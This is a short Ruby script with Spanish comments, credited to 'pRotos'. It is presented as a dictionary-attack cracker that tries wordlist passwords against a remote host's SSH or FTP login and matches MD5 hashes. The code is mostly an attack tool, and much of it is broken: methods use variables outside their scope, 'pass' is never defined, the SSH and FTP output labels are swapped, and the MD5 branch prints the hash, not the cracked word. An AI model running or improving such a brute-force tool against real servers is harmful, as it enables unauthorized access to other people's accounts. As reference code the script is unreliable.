#FTP, SSH, and MD5 Cracker
#El diccionario no lo pongo yo xD
#Codigo de prueba/estudio: no testeado
#c0ded by pRotos
#protos.nu@gmail.com
require 'rubygems'
require 'net/ftp'
require 'net/ssh'
require 'digest/md5'

puts "***********************************"
puts "*Cracker (SSH, FTP, MD5) by pRotos*"
puts "*      (protos.nu@gmail.com)      *"
puts "***********************************"

def uso
	puts "Uso: crack.rb <options> <parametros>"
	puts "Ejemplo: ruby crack.rb md5 12dfwgo3ng4324ongrelgkn345 larutademisuperdiccionario.txt\n"
	puts "Opciones:"
	puts "md5: Crackeador md5 -> Uso: crack.rb md5 <md5hash> <diccionario>"
	puts "ssh: Crackeador ssh -> Uso: crack.rb ssh <host> <user> <diccionario>"
	puts "ftp: Crackeador ftp -> Uso: crack.rb ftp <host> <user> <diccionario>"
end

op=ARGV[0]
case op
	when "md5"
	hash=ARGV[1] or uso()
	dic=ARGV[2] or uso()
	when "ssh"
	host=ARGV[1] or uso()
	user=ARGV[2] or uso()
	dic=ARGV[3] or uso()
	when "ftp"
	host=ARGV[1] or uso()
	user=ARGV[2] or uso()
	dic=ARGV[3] or uso()
	else
	uso()
end

def ssh
	file=File.open(dic, 'r')
	file.readlines.each {|line|
	begin
	session = Net::SSH.start(host,22,user,pass)
	rescue Errno::ECONNREFUSED => h
	fail=1
	end
	if fail != 1
		puts "FTP Password: ", line
	end}
	if fail == 1
		puts "No se pudo crackear"
	end
end

def ftp
	file=File.open(dic, 'r')
	file.readlines.each {|line|
	begin
	ftp=Net::FTP.new(host, user, line)
	rescue Errno::ECONNREFUSED => h
	fail=1
	end
	if fail != 1
		puts "SSH Password: ", line
	end}
	if fail == 1
		puts "No se pudo crackear"
	end
end

def md5
	file=File.open(dic, 'r')
	file.readlines.each {|line|
	md=Digest::MD5.hexdigest(line)
	if md == hash
		puts "Hash: ", md
	else
		fail=1
	end}
	if fail==1
		puts "No se pudo crackear"
	end
end

case op
	when "md5"
	md5()
	when "ssh"
	ssh()
	when "ftp"
	ftp()
	else
	uso()
end